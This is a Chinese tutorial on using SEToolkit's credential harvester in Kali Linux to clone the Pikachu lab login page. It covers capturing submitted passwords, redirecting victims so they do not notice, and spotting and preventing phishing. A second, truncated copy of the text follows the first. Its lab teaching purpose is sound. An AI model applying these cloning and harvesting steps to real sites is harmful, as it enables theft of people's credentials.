1. 项目概述为什么要在Kali里玩“钓鱼”如果你对网络安全感兴趣或者正在学习渗透测试那么“钓鱼攻击”这个词你一定不陌生。它不像那些需要复杂漏洞利用的“硬核”攻击而是巧妙地利用人的心理弱点诱骗目标主动交出敏感信息比如账号密码、银行卡号。这种攻击的成功率往往高得惊人也因此成为安全测试和真实攻击中极为常见的一环。那么作为安全从业者或学习者我们该如何理解、防御甚至合法地测试这种攻击呢答案就是搭建一个属于自己的、可控的钓鱼测试环境。这绝不是为了去做坏事恰恰相反是为了更深刻地理解攻击者的手法从而在自己的系统或负责的业务中构建起更坚固的“人性防火墙”。Kali Linux这个渗透测试领域的“瑞士军刀”自然成为了我们搭建这个环境的首选平台。而SEToolkitSocial-Engineer Toolkit则是Kali中专门用于模拟社会工程学攻击的利器用它来创建钓鱼网站流程标准化功能强大。为了让测试更有趣、更贴近实战我们不会仅仅停留在创建一个简单的登录页面上。本次项目我将带你从零开始在Kali Linux上配置SEToolkit并克隆一个真实的靶场网站——Pikachu。Pikachu是一个集成了多种Web漏洞的靶场平台用它作为我们的“鱼饵”模拟攻击者克隆一个看似正常但暗藏后门的“高仿”网站。通过这个完整的流程你不仅能掌握SEToolkit的核心用法更能理解一次完整钓鱼攻击的上下游链路包括网站克隆、凭证窃取、邮件伪造可选以及最关键的数据监听与捕获。无论你是刚入门的新手还是想巩固社会工程学知识的老手这篇手把手的实战指南都能让你有所收获。2. 环境准备与核心工具解析工欲善其事必先利其器。在开始动手之前我们需要确保环境就绪并理解我们将要使用的核心工具到底扮演着什么角色。很多人一上来就急着敲命令结果遇到各种依赖报错、服务启动失败反而浪费了大量时间。我们先花点时间把地基打牢。2.1 Kali Linux 基础配置与网络设置首先你需要一个Kali Linux环境。我强烈建议初学者使用虚拟机如VMware Workstation或VirtualBox来安装Kali这样既安全又方便做快照。从Kali官网下载最新的ISO镜像文件进行安装即可。安装过程比较简单这里不赘述但有几个安装后的关键点必须注意更新系统与源安装完成后第一件事就是更新系统。打开终端依次执行sudo apt update sudo apt upgrade -y这能确保你获取到最新的软件包和安全补丁。有时SEToolkit的某些功能依赖较新的库更新可以避免很多奇怪的问题。配置网络连接这是钓鱼测试能否成功的生命线。你的Kali虚拟机需要和“靶机”即你打算测试的访问钓鱼网站的机器在同一个网络内。桥接模式将虚拟机网卡设置为桥接模式Kali会从你的家庭路由器获取一个独立的IP地址和你的物理机处于同一网段。这是最推荐的方式因为你的手机、同一WiFi下的其他电脑都能直接访问到Kali上搭建的钓鱼服务。NAT模式默认模式。Kali通过你的物理机共享上网但外部设备无法直接访问Kali的服务。除非你做了端口转发否则不适合本次测试。注意在桥接模式下请使用ifconfig或ip addr命令查看Kali获取到的IP地址通常是eth0或ens33网卡下的inet地址记下它比如192.168.1.105。这就是你钓鱼网站的“门牌号”。安装必要的辅助工具虽然Kali已经预装了海量工具但我们还是确保一下。我们会用到Apache、PHP和Git来部署Pikachu靶场。sudo apt install apache2 php git -y sudo systemctl start apache2 sudo systemctl enable apache22.2 SEToolkit 深度介绍不只是克隆网站SEToolkit绝非一个简单的“网站复制粘贴”工具。它是一个高度集成化的社会工程学攻击套件由TrustedSec的大佬David Kennedy创建。理解它的架构能帮助你更好地运用它。核心功能模块启动SET后你会看到一个数字菜单其中与我们本次项目最相关的是1) Social-Engineering Attacks社会工程学攻击这是我们主要使用的部分内含网站克隆、邮件群发、恶意文件生成等。2) Penetration Testing (Fast-Track)快速追踪渗透测试模块集成了一些自动化漏洞利用。3) Third Party Modules第三方模块。 我们绝大部分操作都在第一个菜单里完成。网站攻击向量在“社会工程学攻击”菜单下选择“Website Attack Vectors”网站攻击向量。这里提供了几种钓鱼方式1) Java Applet Attack较老的方式利用Java漏洞。2) Metasploit Browser Exploit Method结合Metasploit的浏览器漏洞利用。3) Credential Harvester Attack Method凭证收割机攻击。这是我们本次的重点。它不利用任何软件漏洞只是单纯地克隆一个网站并记录所有提交到该网站表单的数据如用户名、密码。4) Tabnabbing Attack Method标签绑架攻击。5) Web Jacking Attack Method网页劫持攻击。6) Multi-Attack Web Method多攻击方法组合。7) HTA Attack Method利用HTA文件攻击。 对于模拟最常见的钓鱼方法3凭证收割是最经典、最直接有效的。工作原理简述当选择“凭证收割机”并克隆一个网站如http://target-site.com/login后SEToolkit会在你的Kali上启动一个Web服务默认端口80。它会把目标网站的登录页面HTML下载下来并修改其中的表单提交地址Action使其指向SEToolkit后台的一个监听脚本。当受害者访问你的钓鱼网站并输入凭据点击登录时数据会先发送到你的SET后台被记录然后受害者才会被可配置地重定向到真正的网站。整个过程受害者可能毫无察觉。2.3 Pikachu靶场一个理想的“鱼饵”目标为什么选择Pikachu作为我们克隆的目标因为它是一个故意设计存在漏洞的Web应用本身结构清晰功能典型非常适合教学和测试。靶场介绍Pikachu靶场使用PHP/MySQL开发包含了SQL注入、XSS、CSRF、文件上传、RCE远程命令执行等几乎所有常见的Web漏洞类型。它的登录界面 (/pikachu/login.php) 是一个标准的表单这正是钓鱼攻击最完美的目标。部署Pikachu我们将它部署在Kali本地的Apache上模拟一个“内网真实应用”。cd /var/www/html/ sudo git clone https://github.com/zhuifengshaonianhanlu/pikachu.git sudo chmod -R 755 pikachu/接着需要配置数据库。Pikachu目录下有一个inc/config.inc.php文件需要根据你的MySQL设置修改数据库连接信息。Kali默认安装了MariaDBMySQL的一个分支。sudo mysql -u root # 在MySQL命令行中执行 CREATE DATABASE pikachu; GRANT ALL PRIVILEGES ON pikachu.* TO pikachulocalhost IDENTIFIED BY pikachu; FLUSH PRIVILEGES; EXIT;然后访问http://你的Kali IP/pikachu点击页面上的“初始化安装”按钮即可完成数据库的创建和表结构的导入。现在你就拥有了一个本地可访问的、功能完整的Pikachu靶场其登录地址为http://你的Kali IP/pikachu/login.php。实操心得在虚拟机中做这类实验务必养成快照的习惯。在关键步骤如系统更新完毕、环境配置成功后创建一个快照。这样一旦后续操作把环境搞乱了可以瞬间回滚节省大量重装时间。3. 实战演练使用SEToolkit克隆Pikachu登录页环境准备好了靶场也立起来了现在让我们进入最核心的实战环节。我会一步步带你走通整个流程并解释每个选择背后的原因。3.1 启动SEToolkit与攻击向量选择首先在Kali终端中启动SEToolkit。因为它需要高权限来监听80端口等操作我们通常使用sudo。sudo setoolkit首次运行可能会让你接受条款输入y同意即可。接着会看到主菜单。选择攻击类型在主菜单输入1选择Social-Engineering Attacks。选择网站攻击向量在接下来的子菜单输入2选择Website Attack Vectors。选择凭证收割攻击在网站攻击向量菜单输入3选择Credential Harvester Attack Method。这是最纯粹的钓鱼方式不涉及漏洞利用只关注窃取凭据。3.2 配置钓鱼网站克隆与重定向选择攻击方法后SET会给出三个选项Web Templates使用SET内置的简单模板如Google、Facebook登录页。Site Cloner克隆一个已存在的网站。这是我们本次要用的。Custom Import导入自定义的网站文件。输入2选择网站克隆器。输入要克隆的URL这时SET会提示你输入要克隆的网站的完整URL。这里就是关键了。我们需要克隆我们本地搭建的Pikachu登录页。假设你的Kali IP是192.168.1.105那么你应该输入http://192.168.1.105/pikachu/login.php重要提示这里必须输入Kali本机能够访问到的地址。如果你输入一个外网地址如某个真实网站的登录页SET会尝试去互联网抓取但这可能涉及法律和道德问题并且可能因为目标网站的反爬机制而失败。使用本地靶场是绝对合法且可控的。设置钓鱼服务器IP接下来SET会问“Enter the IP address for the POST back in Harvester/Tabnabbing [192.168.1.105]”。这里默认会显示你Kali的IP直接按回车确认即可。这个IP是告诉钓鱼页面表单数据应该提交到哪个地址即你的Kali进行收集。按下回车后SEToolkit就开始工作了。它会自动完成以下几件事访问你提供的URL下载该页面的HTML、CSS、JavaScript和图片等资源。分析页面中的表单form标签将其action属性修改为指向SET后台的监听地址如http://192.168.1.105/post.php。在后台启动一个Apache服务如果80端口被占用可能会使用其他端口并将修改后的钓鱼页面部署上去。启动一个后台进程监听表单提交的数据。如果一切顺利你会看到类似[] The Social-Engineer Toolkit Credential Harvester Attack和[] This is capable of capturing credentials from a website的成功提示。SEToolkit的Web服务已经在后台运行了。3.3 验证与访问钓鱼网站现在如何验证我们的钓鱼网站是否搭建成功呢在Kali本机测试打开Kali自带的浏览器如Firefox访问http://192.168.1.105即你Kali的IP。你应该能看到一个和Pikachu原登录页一模一样的页面。在靶机如你的Windows物理机测试确保你的物理机和Kali虚拟机在同一个网络比如都连接同一个WiFi。在物理机的浏览器中同样访问http://192.168.1.105。你也应该能看到克隆的登录页。对比观察为了确认这是钓鱼页你可以同时打开真正的Pikachu登录页 (http://192.168.1.105/pikachu/login.php) 进行对比。肉眼看起来应该没有任何区别。这是钓鱼攻击成功的第一步——以假乱真。注意事项有时你访问http://[Kali-IP]可能看到的是Apache的默认页面It works!而不是钓鱼页面。这通常是因为SET启动的服务和你之前安装的Apache服务都试图占用80端口产生了冲突。解决方法是先停止Apache服务sudo systemctl stop apache2然后再重新运行SEToolkit并启动钓鱼攻击。SEToolkit自己会管理一个轻量级的Web服务器来托管钓鱼页面。4. 攻击模拟与数据捕获当“鱼”上钩之后钓鱼网站搭建好了就像一个精心布置的陷阱。接下来我们就要模拟“鱼儿”上钩的过程并查看攻击者是如何捕获数据的。4.1 模拟受害者行为在你的靶机物理机浏览器中访问钓鱼网站 (http://192.168.1.105)。在登录表单中随意输入一些测试用的凭据例如用户名test_victim密码Pssw0rd123然后点击“登录”或“Submit”按钮。此时会发生什么表单数据usernametest_victimpasswordPssw0rd123并不会被发送到真正的Pikachu后台 (/pikachu/login.php)。由于表单的action已被SET修改数据会被发送到SEToolkit后台的监听器例如http://192.168.1.105/post.php。SEToolkit的后台进程会实时捕获这些数据并将其明文记录在一个日志文件中。重定向在捕获数据后SEToolkit可以配置将受害者重定向到原始的真实网站。这样受害者输入错误密码因为提交到了假网站后会被带到真网站可能会以为自己输错了密码而再次输入从而在真网站登录成功降低了其怀疑。这个重定向地址是在克隆网站时SET自动从原页面获取的。4.2 查看窃取的凭证数据被捕获后我们需要回到Kali的SEToolkit终端窗口查看结果。在SET运行的主界面它不会自动刷新显示捕获的数据。数据被记录在文件中。SEToolkit的日志文件默认情况下SET捕获的凭证会保存在/root/.set/reports目录下。你可以打开一个新的终端标签页使用cat或tail命令查看最新生成的文件。sudo tail -f /root/.set/reports/*.txt使用tail -f可以实时查看文件末尾的新增内容。当你模拟受害者提交表单后应该立刻能看到类似下面的记录[*] Captured Credentials: PARAM: username VALUE: test_victim PARAM: password VALUE: Pssw0rd123 [*] Captured on: [日期时间] [*] From IP: [靶机的IP地址]看用户名和密码被清晰地记录了下来同时还包含了攻击时间戳和受害者的IP地址。这就是一次成功的凭证窃取。4.3 深入分析SEToolkit做了什么手脚为了更深入地理解我们可以简单看看SEToolkit对原网页做了什么。你可以比较一下原网页和钓鱼网页的HTML源代码。在真正的Pikachu登录页查看表单元素它的action可能是相对路径如actionlogin.php或actionchecklogin.php。而在钓鱼页面通过浏览器右键“查看页面源代码”你会发现表单的action被修改成了一个绝对路径指向SEToolkit的服务器例如form methodpost actionhttp://192.168.1.105/post.php input typehidden nameoriginal_site valuehttp://192.168.1.105/pikachu/login.php ... 其他输入框 ... /form这里多了一个隐藏字段original_site它记录了原始网站地址用于后续的重定向。post.php就是SEToolkit用来接收数据的后端脚本。实操心得在实际的渗透测试授权中这种凭证捕获只是第一步。获得凭据后测试人员会尝试用这些凭据登录真实系统验证漏洞的存在性并评估其危害是普通用户权限还是管理员权限能否访问敏感数据。整个过程必须在明确的授权范围内进行。5. 高级配置与防御视角掌握了基础流程后我们可以看看SEToolkit的一些高级配置选项并从防御者的角度思考如何识破和防范此类攻击。5.1 SEToolkit 高级选项解析在克隆网站的过程中或之前SEToolkit提供了一些可配置项端口设置默认使用80端口。如果80端口被占用你可以在启动SET前通过修改配置文件或使用其他工具如netcat转发端口但更简单的方法是在选择“凭证收割攻击”后它有时会提示你是否使用SSL/自定义端口。对于内部测试用80端口最简单。SSL证书SEToolkit可以生成自签名的SSL证书从而提供HTTPS的钓鱼链接https://...。这会让钓鱼网站看起来更“可信”因为浏览器地址栏会有一个锁的图标尽管会显示证书不安全。在高级菜单中可以配置。Java Applet 与 Metasploit 集成除了凭证收割SET的其他攻击向量如Java Applet攻击可以与Metasploit框架结合在受害者访问页面时尝试利用其浏览器或插件的漏洞从而获得一个反向Shell远程控制会话。这属于更高级的攻击需要更复杂的环境配置和漏洞利用知识。邮件群发功能SEToolkit另一个强大的功能是邮件钓鱼。它可以伪造发件人发送包含钓鱼链接的邮件给目标列表。这需要你配置一个SMTP服务器如Gmail的SMTP但需要应用专用密码。切记未经授权对他人发送钓鱼邮件是违法行为。5.2 如何识别与防范钓鱼网站作为防御方了解攻击手法后我们可以总结出一些识别和防范钓鱼网站的实用技巧仔细检查URL这是最直接的方法。钓鱼网站的域名往往与真实网站相似但不同可能使用错别字如g00gle.com、不同顶级域如.comvs.net或子域名混淆。在本次实验中我们的钓鱼网站URL是纯IP地址 (http://192.168.1.105)而真实网站是带路径的 (http://192.168.1.105/pikachu/login.php)这在实际攻击中不常见攻击者会尽量让域名看起来逼真。查看网站安全证书对于HTTPS网站点击地址栏的锁图标查看证书详情。检查证书是否由受信任的机构颁发以及证书颁发的域名是否与当前访问的域名完全一致。自签名证书或域名不匹配的证书是危险信号。审视网站内容与设计虽然克隆技术可以做得非常像但细微的差别可能存在如图片模糊、链接指向错误、排版轻微错乱等。多留个心眼。不轻易点击邮件中的链接对于声称来自银行、社交平台、公司IT部门的邮件尤其是要求你“立即验证账户”、“点击链接更新信息”的要保持高度警惕。手动输入官网地址或从书签访问而不是点击邮件中的链接。使用密码管理器好的密码管理器如Bitwarden、1Password通常具有“自动填充”功能但它们只会对保存过密码的特定域名自动填充。如果你访问的是一个从未保存过密码的“新”域名即使是看起来相似的钓鱼站密码管理器不会自动填充这可以作为一个警示。启用多因素认证即使密码被窃取如果账号开启了多因素认证MFA如短信验证码、认证器AppGoogle Authenticator, Microsoft Authenticator或硬件安全密钥攻击者依然无法登录。这为账户安全增加了一道至关重要的防线。安全意识培训对于企业而言定期对员工进行社会工程学和安全意识培训至关重要。通过模拟钓鱼演练让员工亲身体验并学习如何识别钓鱼攻击。5.3 从本次实验中学到的关键点回顾整个项目我们不仅仅是学会了SEToolkit的几个命令更重要的是理解了社会工程学攻击的一个完整链条侦察攻击者需要选择一个目标如Pikachu靶场。武器化制作攻击载荷在这里就是克隆一个钓鱼网站。投递通过某种方式让受害者访问钓鱼网站实验中是我们主动访问现实中可能是邮件、短信、社交消息等。利用利用人的心理弱点信任、疏忽、恐惧、贪婪使其执行操作输入凭据。安装捕获敏感信息凭据。命令与控制攻击者从后台获取数据。行动利用窃取的凭据进行后续攻击登录真实系统。理解这个链条类似于洛克希德·马丁的“杀伤链”模型能帮助我们从更高维度思考防御策略而不仅仅是关注某个具体的技术点。6. 常见问题与排查技巧实录在实际操作中你几乎一定会遇到一些问题。下面是我在多次搭建类似环境时踩过的坑和解决方案希望能帮你快速排雷。问题现象可能原因排查与解决步骤访问http://[Kali-IP]显示Apache默认页而非钓鱼页。端口冲突。Kali自带的Apache服务 (apache2) 占用了80端口SET启动的服务无法绑定。1. 停止Apache服务sudo systemctl stop apache2。2. 重启SEToolkit并重新配置钓鱼攻击。3. 或者在SET中尝试使用其他端口如8080但需要确保靶机访问时带上端口号http://[Kali-IP]:8080。SEToolkit克隆网站时卡住或报错“无法连接”。1. 输入的URL错误或不可访问。2. 网络问题Kali无法访问目标URL尤其是外网。3. 目标网站有反爬机制。1.首先检查URL确保在Kali终端里能用curl或wget访问到目标URL例如curl -I http://192.168.1.105/pikachu/login.php。2.使用本地靶场对于学习和测试强烈建议克隆本地网络内的目标如我们搭建的Pikachu避免网络波动和外部限制。3. 如果必须克隆外网站确保Kali网络通畅并注意法律边界。受害者提交表单后SEToolkit后台没有捕获到数据。1. 表单提交方式不是POST可能是GET。SET默认主要处理POST。2. 钓鱼页面表单的action修改未生效。3. 防火墙阻止了数据回传。1. 检查原网站表单的method。SET对GET方式支持可能不完善。2. 查看钓鱼页面源代码确认form action...是否指向了你的Kali IP如http://[Kali-IP]/post.php。3. 关闭Kali的防火墙临时测试sudo ufw disable测试完记得开启sudo ufw enable。4. 在SET运行终端查看是否有错误输出。受害者点击登录后页面报错或空白没有重定向到真实网站。1. 重定向配置错误。2. 真实网站地址不可达。3. SET的post.php脚本执行出错。1. 检查钓鱼页面源代码中的隐藏字段original_site值是否正确。2. 确保真实网站如Pikachu服务正常运行且受害者网络可访问。3. 这通常不影响凭证捕获数据可能已经记录。去/root/.set/reports/下查看日志文件确认。无法在物理机靶机上访问Kali的钓鱼网站。1. 网络模式不对如Kali是NAT模式。2. 物理机和Kali不在同一网段。3. Kali防火墙阻止了80端口入站连接。1.将Kali虚拟机网络适配器设置为桥接模式并重启网络服务或虚拟机。2. 在物理机和Kali上分别执行ipconfig(Windows) /ifconfig(Linux) 命令查看IP地址是否在同一网段如都是192.168.1.x。3. 临时关闭Kali防火墙sudo ufw disable。或者放行80端口sudo ufw allow 80/tcp。Pikachu靶场初始化安装失败或无法连接数据库。1. MySQL/MariaDB服务未启动。2. 数据库配置信息 (config.inc.php) 错误。3. 数据库用户权限不足。1. 启动数据库服务sudo systemctl start mariadb(或mysql)。2. 检查/var/www/html/pikachu/inc/config.inc.php文件确保数据库主机、用户名、密码与创建时一致如dbhostlocalhost,dbuserpikachu,dbpwdpikachu,dbnamepikachu。3. 登录MySQL确认用户和权限sudo mysql -u root -p然后执行SELECT Host, User FROM mysql.user;和SHOW GRANTS FOR pikachulocalhost;。最后再分享一个小技巧在实验过程中多开几个终端标签页非常有用。一个用来运行SEToolkit一个用来监控捕获的日志 (tail -f)一个用来管理服务启停Apache/MySQL还有一个用来进行网络测试ping,curl。这样信息一目了然排查问题效率倍增。这套环境搭建和测试流程本质上是一个微型的“红队”攻击模拟。理解它不仅能让你掌握SEToolkit这个工具更能让你建立起社会工程学攻击与防御的立体认知。记住所有技术都应在合法、合规和道德的前提下使用用它们来加固你的系统而不是去破坏。
Kali Linux实战:用SEToolkit克隆Pikachu靶场,模拟钓鱼攻击与防御
1. 项目概述为什么要在Kali里玩“钓鱼”如果你对网络安全感兴趣或者正在学习渗透测试那么“钓鱼攻击”这个词你一定不陌生。它不像那些需要复杂漏洞利用的“硬核”攻击而是巧妙地利用人的心理弱点诱骗目标主动交出敏感信息比如账号密码、银行卡号。这种攻击的成功率往往高得惊人也因此成为安全测试和真实攻击中极为常见的一环。那么作为安全从业者或学习者我们该如何理解、防御甚至合法地测试这种攻击呢答案就是搭建一个属于自己的、可控的钓鱼测试环境。这绝不是为了去做坏事恰恰相反是为了更深刻地理解攻击者的手法从而在自己的系统或负责的业务中构建起更坚固的“人性防火墙”。Kali Linux这个渗透测试领域的“瑞士军刀”自然成为了我们搭建这个环境的首选平台。而SEToolkitSocial-Engineer Toolkit则是Kali中专门用于模拟社会工程学攻击的利器用它来创建钓鱼网站流程标准化功能强大。为了让测试更有趣、更贴近实战我们不会仅仅停留在创建一个简单的登录页面上。本次项目我将带你从零开始在Kali Linux上配置SEToolkit并克隆一个真实的靶场网站——Pikachu。Pikachu是一个集成了多种Web漏洞的靶场平台用它作为我们的“鱼饵”模拟攻击者克隆一个看似正常但暗藏后门的“高仿”网站。通过这个完整的流程你不仅能掌握SEToolkit的核心用法更能理解一次完整钓鱼攻击的上下游链路包括网站克隆、凭证窃取、邮件伪造可选以及最关键的数据监听与捕获。无论你是刚入门的新手还是想巩固社会工程学知识的老手这篇手把手的实战指南都能让你有所收获。2. 环境准备与核心工具解析工欲善其事必先利其器。在开始动手之前我们需要确保环境就绪并理解我们将要使用的核心工具到底扮演着什么角色。很多人一上来就急着敲命令结果遇到各种依赖报错、服务启动失败反而浪费了大量时间。我们先花点时间把地基打牢。2.1 Kali Linux 基础配置与网络设置首先你需要一个Kali Linux环境。我强烈建议初学者使用虚拟机如VMware Workstation或VirtualBox来安装Kali这样既安全又方便做快照。从Kali官网下载最新的ISO镜像文件进行安装即可。安装过程比较简单这里不赘述但有几个安装后的关键点必须注意更新系统与源安装完成后第一件事就是更新系统。打开终端依次执行sudo apt update sudo apt upgrade -y这能确保你获取到最新的软件包和安全补丁。有时SEToolkit的某些功能依赖较新的库更新可以避免很多奇怪的问题。配置网络连接这是钓鱼测试能否成功的生命线。你的Kali虚拟机需要和“靶机”即你打算测试的访问钓鱼网站的机器在同一个网络内。桥接模式将虚拟机网卡设置为桥接模式Kali会从你的家庭路由器获取一个独立的IP地址和你的物理机处于同一网段。这是最推荐的方式因为你的手机、同一WiFi下的其他电脑都能直接访问到Kali上搭建的钓鱼服务。NAT模式默认模式。Kali通过你的物理机共享上网但外部设备无法直接访问Kali的服务。除非你做了端口转发否则不适合本次测试。注意在桥接模式下请使用ifconfig或ip addr命令查看Kali获取到的IP地址通常是eth0或ens33网卡下的inet地址记下它比如192.168.1.105。这就是你钓鱼网站的“门牌号”。安装必要的辅助工具虽然Kali已经预装了海量工具但我们还是确保一下。我们会用到Apache、PHP和Git来部署Pikachu靶场。sudo apt install apache2 php git -y sudo systemctl start apache2 sudo systemctl enable apache22.2 SEToolkit 深度介绍不只是克隆网站SEToolkit绝非一个简单的“网站复制粘贴”工具。它是一个高度集成化的社会工程学攻击套件由TrustedSec的大佬David Kennedy创建。理解它的架构能帮助你更好地运用它。核心功能模块启动SET后你会看到一个数字菜单其中与我们本次项目最相关的是1) Social-Engineering Attacks社会工程学攻击这是我们主要使用的部分内含网站克隆、邮件群发、恶意文件生成等。2) Penetration Testing (Fast-Track)快速追踪渗透测试模块集成了一些自动化漏洞利用。3) Third Party Modules第三方模块。 我们绝大部分操作都在第一个菜单里完成。网站攻击向量在“社会工程学攻击”菜单下选择“Website Attack Vectors”网站攻击向量。这里提供了几种钓鱼方式1) Java Applet Attack较老的方式利用Java漏洞。2) Metasploit Browser Exploit Method结合Metasploit的浏览器漏洞利用。3) Credential Harvester Attack Method凭证收割机攻击。这是我们本次的重点。它不利用任何软件漏洞只是单纯地克隆一个网站并记录所有提交到该网站表单的数据如用户名、密码。4) Tabnabbing Attack Method标签绑架攻击。5) Web Jacking Attack Method网页劫持攻击。6) Multi-Attack Web Method多攻击方法组合。7) HTA Attack Method利用HTA文件攻击。 对于模拟最常见的钓鱼方法3凭证收割是最经典、最直接有效的。工作原理简述当选择“凭证收割机”并克隆一个网站如http://target-site.com/login后SEToolkit会在你的Kali上启动一个Web服务默认端口80。它会把目标网站的登录页面HTML下载下来并修改其中的表单提交地址Action使其指向SEToolkit后台的一个监听脚本。当受害者访问你的钓鱼网站并输入凭据点击登录时数据会先发送到你的SET后台被记录然后受害者才会被可配置地重定向到真正的网站。整个过程受害者可能毫无察觉。2.3 Pikachu靶场一个理想的“鱼饵”目标为什么选择Pikachu作为我们克隆的目标因为它是一个故意设计存在漏洞的Web应用本身结构清晰功能典型非常适合教学和测试。靶场介绍Pikachu靶场使用PHP/MySQL开发包含了SQL注入、XSS、CSRF、文件上传、RCE远程命令执行等几乎所有常见的Web漏洞类型。它的登录界面 (/pikachu/login.php) 是一个标准的表单这正是钓鱼攻击最完美的目标。部署Pikachu我们将它部署在Kali本地的Apache上模拟一个“内网真实应用”。cd /var/www/html/ sudo git clone https://github.com/zhuifengshaonianhanlu/pikachu.git sudo chmod -R 755 pikachu/接着需要配置数据库。Pikachu目录下有一个inc/config.inc.php文件需要根据你的MySQL设置修改数据库连接信息。Kali默认安装了MariaDBMySQL的一个分支。sudo mysql -u root # 在MySQL命令行中执行 CREATE DATABASE pikachu; GRANT ALL PRIVILEGES ON pikachu.* TO pikachulocalhost IDENTIFIED BY pikachu; FLUSH PRIVILEGES; EXIT;然后访问http://你的Kali IP/pikachu点击页面上的“初始化安装”按钮即可完成数据库的创建和表结构的导入。现在你就拥有了一个本地可访问的、功能完整的Pikachu靶场其登录地址为http://你的Kali IP/pikachu/login.php。实操心得在虚拟机中做这类实验务必养成快照的习惯。在关键步骤如系统更新完毕、环境配置成功后创建一个快照。这样一旦后续操作把环境搞乱了可以瞬间回滚节省大量重装时间。3. 实战演练使用SEToolkit克隆Pikachu登录页环境准备好了靶场也立起来了现在让我们进入最核心的实战环节。我会一步步带你走通整个流程并解释每个选择背后的原因。3.1 启动SEToolkit与攻击向量选择首先在Kali终端中启动SEToolkit。因为它需要高权限来监听80端口等操作我们通常使用sudo。sudo setoolkit首次运行可能会让你接受条款输入y同意即可。接着会看到主菜单。选择攻击类型在主菜单输入1选择Social-Engineering Attacks。选择网站攻击向量在接下来的子菜单输入2选择Website Attack Vectors。选择凭证收割攻击在网站攻击向量菜单输入3选择Credential Harvester Attack Method。这是最纯粹的钓鱼方式不涉及漏洞利用只关注窃取凭据。3.2 配置钓鱼网站克隆与重定向选择攻击方法后SET会给出三个选项Web Templates使用SET内置的简单模板如Google、Facebook登录页。Site Cloner克隆一个已存在的网站。这是我们本次要用的。Custom Import导入自定义的网站文件。输入2选择网站克隆器。输入要克隆的URL这时SET会提示你输入要克隆的网站的完整URL。这里就是关键了。我们需要克隆我们本地搭建的Pikachu登录页。假设你的Kali IP是192.168.1.105那么你应该输入http://192.168.1.105/pikachu/login.php重要提示这里必须输入Kali本机能够访问到的地址。如果你输入一个外网地址如某个真实网站的登录页SET会尝试去互联网抓取但这可能涉及法律和道德问题并且可能因为目标网站的反爬机制而失败。使用本地靶场是绝对合法且可控的。设置钓鱼服务器IP接下来SET会问“Enter the IP address for the POST back in Harvester/Tabnabbing [192.168.1.105]”。这里默认会显示你Kali的IP直接按回车确认即可。这个IP是告诉钓鱼页面表单数据应该提交到哪个地址即你的Kali进行收集。按下回车后SEToolkit就开始工作了。它会自动完成以下几件事访问你提供的URL下载该页面的HTML、CSS、JavaScript和图片等资源。分析页面中的表单form标签将其action属性修改为指向SET后台的监听地址如http://192.168.1.105/post.php。在后台启动一个Apache服务如果80端口被占用可能会使用其他端口并将修改后的钓鱼页面部署上去。启动一个后台进程监听表单提交的数据。如果一切顺利你会看到类似[] The Social-Engineer Toolkit Credential Harvester Attack和[] This is capable of capturing credentials from a website的成功提示。SEToolkit的Web服务已经在后台运行了。3.3 验证与访问钓鱼网站现在如何验证我们的钓鱼网站是否搭建成功呢在Kali本机测试打开Kali自带的浏览器如Firefox访问http://192.168.1.105即你Kali的IP。你应该能看到一个和Pikachu原登录页一模一样的页面。在靶机如你的Windows物理机测试确保你的物理机和Kali虚拟机在同一个网络比如都连接同一个WiFi。在物理机的浏览器中同样访问http://192.168.1.105。你也应该能看到克隆的登录页。对比观察为了确认这是钓鱼页你可以同时打开真正的Pikachu登录页 (http://192.168.1.105/pikachu/login.php) 进行对比。肉眼看起来应该没有任何区别。这是钓鱼攻击成功的第一步——以假乱真。注意事项有时你访问http://[Kali-IP]可能看到的是Apache的默认页面It works!而不是钓鱼页面。这通常是因为SET启动的服务和你之前安装的Apache服务都试图占用80端口产生了冲突。解决方法是先停止Apache服务sudo systemctl stop apache2然后再重新运行SEToolkit并启动钓鱼攻击。SEToolkit自己会管理一个轻量级的Web服务器来托管钓鱼页面。4. 攻击模拟与数据捕获当“鱼”上钩之后钓鱼网站搭建好了就像一个精心布置的陷阱。接下来我们就要模拟“鱼儿”上钩的过程并查看攻击者是如何捕获数据的。4.1 模拟受害者行为在你的靶机物理机浏览器中访问钓鱼网站 (http://192.168.1.105)。在登录表单中随意输入一些测试用的凭据例如用户名test_victim密码Pssw0rd123然后点击“登录”或“Submit”按钮。此时会发生什么表单数据usernametest_victimpasswordPssw0rd123并不会被发送到真正的Pikachu后台 (/pikachu/login.php)。由于表单的action已被SET修改数据会被发送到SEToolkit后台的监听器例如http://192.168.1.105/post.php。SEToolkit的后台进程会实时捕获这些数据并将其明文记录在一个日志文件中。重定向在捕获数据后SEToolkit可以配置将受害者重定向到原始的真实网站。这样受害者输入错误密码因为提交到了假网站后会被带到真网站可能会以为自己输错了密码而再次输入从而在真网站登录成功降低了其怀疑。这个重定向地址是在克隆网站时SET自动从原页面获取的。4.2 查看窃取的凭证数据被捕获后我们需要回到Kali的SEToolkit终端窗口查看结果。在SET运行的主界面它不会自动刷新显示捕获的数据。数据被记录在文件中。SEToolkit的日志文件默认情况下SET捕获的凭证会保存在/root/.set/reports目录下。你可以打开一个新的终端标签页使用cat或tail命令查看最新生成的文件。sudo tail -f /root/.set/reports/*.txt使用tail -f可以实时查看文件末尾的新增内容。当你模拟受害者提交表单后应该立刻能看到类似下面的记录[*] Captured Credentials: PARAM: username VALUE: test_victim PARAM: password VALUE: Pssw0rd123 [*] Captured on: [日期时间] [*] From IP: [靶机的IP地址]看用户名和密码被清晰地记录了下来同时还包含了攻击时间戳和受害者的IP地址。这就是一次成功的凭证窃取。4.3 深入分析SEToolkit做了什么手脚为了更深入地理解我们可以简单看看SEToolkit对原网页做了什么。你可以比较一下原网页和钓鱼网页的HTML源代码。在真正的Pikachu登录页查看表单元素它的action可能是相对路径如actionlogin.php或actionchecklogin.php。而在钓鱼页面通过浏览器右键“查看页面源代码”你会发现表单的action被修改成了一个绝对路径指向SEToolkit的服务器例如form methodpost actionhttp://192.168.1.105/post.php input typehidden nameoriginal_site valuehttp://192.168.1.105/pikachu/login.php ... 其他输入框 ... /form这里多了一个隐藏字段original_site它记录了原始网站地址用于后续的重定向。post.php就是SEToolkit用来接收数据的后端脚本。实操心得在实际的渗透测试授权中这种凭证捕获只是第一步。获得凭据后测试人员会尝试用这些凭据登录真实系统验证漏洞的存在性并评估其危害是普通用户权限还是管理员权限能否访问敏感数据。整个过程必须在明确的授权范围内进行。5. 高级配置与防御视角掌握了基础流程后我们可以看看SEToolkit的一些高级配置选项并从防御者的角度思考如何识破和防范此类攻击。5.1 SEToolkit 